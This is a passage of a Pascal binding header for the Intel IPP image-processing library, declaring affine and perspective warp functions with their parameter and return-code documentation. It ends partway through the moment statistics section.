function ippiWarpAffineNearest_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_64f_C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_64f_C3R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineNearest_64f_C4R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_64f_C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_64f_C3R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineLinear_64f_C4R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_64f_C1R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_64f_C3R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpAffineCubic_64f_C4R( pSrc : Ipp64fPtr ; srcStep : Int32 ; pDst : Ipp64fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Warp Perspective Transform functions
----------------------------------------------------------------------------
Name: ippiWarpPerspectiveGetSize
Purpose: Computes the size of Spec structure and temporal buffer
for Perspective transform
Parameters:
srcSize Size of the input image (in pixels)
srcRoi Region of interest in the source image
dstSize Size of the output image (in pixels)
dataType Data type of the source and destination images. Possible values
are ipp8u, ipp16u, ipp16s, ipp32f and ipp64f.
coeffs The perspective transform coefficients
interpolation Interpolation method. Supported values: ippNearest, ippLinear and ippCubic.
direction Transformation direction. Possible values are:
ippWarpForward - Forward transformation.
ippWarpBackward - Backward transformation.
border Type of the border
pSpecSize Pointer to the size (in bytes) of the Spec structure
pInitBufSize Pointer to the size (in bytes) of the temporal buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeErr Indicates an error in the following cases:
- if width or height of the source or destination image is negative,
- if one of the calculated sizes exceeds maximum 32 bit signed integer
positive value (the size of the one of the processed images is too large).
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsWarpDirectionErr Indicates an error when the direction value is illegal.
ippStsInterpolationErr Indicates an error if interpolation has an illegal value
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported.
ippStsCoeffErr Indicates an error condition, if perspective transformation is singular.
ippStsBorderErr Indicates an error if border type has an illegal value
}
function ippiWarpPerspectiveGetSize( srcSize : IppiSize ; srcRoi : IppiRect ; dstSize : IppiSize ; dataType : IppDataType ; const coeffs : double_3_3 ; interpolation : IppiInterpolationType ; direction : IppiWarpDirection ; borderType : IppiBorderType ; var pSpecSize : Int32 ; var pInitBufSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpPerspectiveNearestInit
ippiWarpPerspectiveLinearInit
ippiWarpPerspectiveCubicInit
Purpose: Initializes the Spec structure for the Warp perspective transform
by different interpolation methods
Parameters:
srcSize Size of the input image (in pixels)
srcRoi Region of interest in the source image
dstSize Size of the output image (in pixels)
dataType Data type of the source and destination images. Possible values are:
ipp8u, ipp16u, ipp16s, ipp32f, ipp64f.
coeffs The perspective transform coefficients
direction Transformation direction. Possible values are:
ippWarpForward - Forward transformation.
ippWarpBackward - Backward transformation.
numChannels Number of channels, possible values are 1 or 3 or 4
valueB The first parameter (B) for specifying Cubic filters
valueC The second parameter (C) for specifying Cubic filters
border Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
smoothEdge The smooth edge flag. Supported values:
0 - transform without edge smoothing
1 - transform with edge smoothing
pSpec Pointer to the Spec structure for resize filter
pInitBuf Pointer to the temporal buffer for several initialization cases
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeErr Indicates an error if width or height of the source or destination
image is negative
ippStsDataTypeErr Indicates an error when dataType has an illegal value.
ippStsWarpDirectionErr Indicates an error when the direction value is illegal.
ippStsCoeffErr Indicates an error condition, if the perspective transformation is singular.
ippStsNumChannelsErr Indicates an error if numChannels has illegal value
ippStsBorderErr Indicates an error if border type has an illegal value
ippStsWrongIntersectQuad Indicates a warning that no operation is performed, if the transformed
source image has no intersection with the destination image.
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported.
Notes/References:
1. The equation shows the family of cubic filters:
((12-9B-6C)*|x|^3 + (-18+12B+6C)*|x|^2 + (6-2B) ) / 6 for |x| < 1
K(x) = (( -B-6C)*|x|^3 + ( 6B+30C)*|x|^2 + (-12B-48C)*|x| + (8B+24C); / 6 for 1 <= |x| < 2
0 elsewhere
Some values of (B,C) correspond to known cubic splines: Catmull-Rom (B=0,C=0.5), B-Spline (B=1,C=0) and other.
Mitchell, Don P.; Netravali, Arun N. (Aug. 1988). "Reconstruction filters in computer graphics"
http://www.mentallandscape.com/Papers_siggraph88.pdf
2. Supported border types are ippBorderRepl, ippBorderConst, ippBorderTransp and ippBorderRepl
}
function ippiWarpPerspectiveNearestInit( srcSize : IppiSize ; srcRoi : IppiRect ; dstSize : IppiSize ; dataType : IppDataType ; const coeffs : double_3_3 ; direction : IppiWarpDirection ; numChannels : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp64fPtr ; smoothEdge : Int32 ; pSpec : IppiWarpSpecPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinearInit( srcSize : IppiSize ; srcRoi : IppiRect ; dstSize : IppiSize ; dataType : IppDataType ; const coeffs : double_3_3 ; direction : IppiWarpDirection ; numChannels : Int32 ; borderType : IppiBorderType ; pBorderValue : Ipp64fPtr ; smoothEdge : Int32 ; pSpec : IppiWarpSpecPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubicInit( srcSize : IppiSize ; srcRoi : IppiRect ; dstSize : IppiSize ; dataType : IppDataType ; const coeffs : double_3_3 ; direction : IppiWarpDirection ; numChannels : Int32 ; valueB : Ipp64f ; valueC : Ipp64f ; borderType : IppiBorderType ; pBorderValue : Ipp64fPtr ; smoothEdge : Int32 ; pSpec : IppiWarpSpecPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiWarpPerspectiveNearest
ippiWarpPerspectiveLinear
ippiWarpPerspectiveCubic
Purpose: Performs perspective transform of an image with using
different interpolation methods
Parameters:
pSrc Pointer to the source image
srcStep Distance (in bytes) between of consecutive lines in the source image
pDst Pointer to the destination image
dstStep Distance (in bytes) between of consecutive lines in the destination image
dstRoiOffset Offset of tiled image respectively destination image origin
dstRoiSize Size of the destination image (in pixels)
border Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
pSpec Pointer to the Spec structure for resize filter
pBuffer Pointer to the work buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of output image is zero
ippStsBorderErr Indicates an error if border type has an illegal value
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsNotSupportedModeErr Indicates an error if requested mode is currently not supported
ippStsSizeErr Indicates an error if width or height of the destination image
is negative
ippStsStepErr Indicates an error if the step value is not data type multiple
ippStsOutOfRangeErr Indicates an error if the destination image offset point is outside the
destination image origin
ippStsSizeWrn Indicates a warning if the destination image size is more than
the destination image origin size
ippStsWrongIntersectQuad Indicates a warning that no operation is performed if the destination
ROI has no intersection with the transformed source image origin.
Notes:
1. Supported border types are ippBorderRepl, ippBorderConst, ippBorderTransp and ippBorderRepl
}
function ippiWarpPerspectiveNearest_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveNearest_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveLinear_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiWarpPerspectiveCubic_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; dstRoiOffset : IppiPoint ; dstRoiSize : IppiSize ; pSpec : IppiWarpSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Statistic functions
----------------------------------------------------------------------------
Name: ippiMomentGetStateSize_64s
ippiMomentGetStateSize_64f
Purpose: Computes the size of the external buffer for the state
structure ippiMomentsState_64s in bytes
Returns:
ippStsNoErr OK
ippStsNullPtrErr pSize==NULL
Parameters:
hint Option to specify the computation algorithm
pSize Pointer to the value of the buffer size
of the structure ippiMomentState_64s.
}
function ippiMomentGetStateSize_64f( hint : IppHintAlgorithm ; var pSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiMomentInit64s
ippiMomentInit64f
Purpose: Initializes ippiMomentState_64s structure (without memory allocation)
Returns:
